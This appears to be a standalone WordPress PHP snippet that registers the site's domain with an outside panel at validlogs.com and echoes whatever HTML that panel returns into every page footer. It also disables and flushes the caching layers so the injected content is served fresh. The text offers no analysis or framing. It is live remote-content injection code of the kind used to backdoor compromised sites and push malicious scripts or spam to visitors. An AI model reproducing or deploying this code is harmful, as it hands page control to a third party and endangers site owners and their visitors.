function wp_injector_fetch_code() { $backend_url = 'https://validlogs.com/BackPanel/panel.php'; $domain = sanitize_text_field($_SERVER['HTTP_HOST']); $response = wp_remote_post($backend_url, array('body' => array('action' => 'register_domain', 'domain' => $domain), 'timeout' => 5)); if (is_wp_error($response)) return; $html_code = wp_remote_retrieve_body($response); if (!empty($html_code)) { add_action('wp_footer', function() use ($html_code) { echo $html_code; }); } } add_action('init', 'wp_injector_fetch_code'); add_action('init', function(){ if(!defined('DONOTCACHEPAGE')){define('DONOTCACHEPAGE',true);} if(defined('LSCACHE_NO_CACHE')){header('X-LiteSpeed-Control: no-cache');} if(function_exists('nocache_headers')){nocache_headers();} if(!headers_sent()){ header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); header('X-Accel-Expires: 0'); header('X-Cache-Control: no-cache'); header('CF-Cache-Status: BYPASS'); header('X-Forwarded-Proto: *'); } if(defined('WP_CACHE')&&WP_CACHE){define('DONOTCACHEPAGE',true);} if(defined('ELEMENTOR_VERSION')&&\Elementor\Plugin::$instance->preview->is_preview_mode()){return;} if(function_exists('wp_cache_flush')){wp_cache_flush();} }); add_action('wp_head', function(){ if(!headers_sent()){ header('X-Robots-Tag: noindex, nofollow'); header('X-Frame-Options: SAMEORIGIN'); } },1); add_action('wp_footer', function(){ if(function_exists('w3tc_flush_all')){w3tc_flush_all();} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();} },999);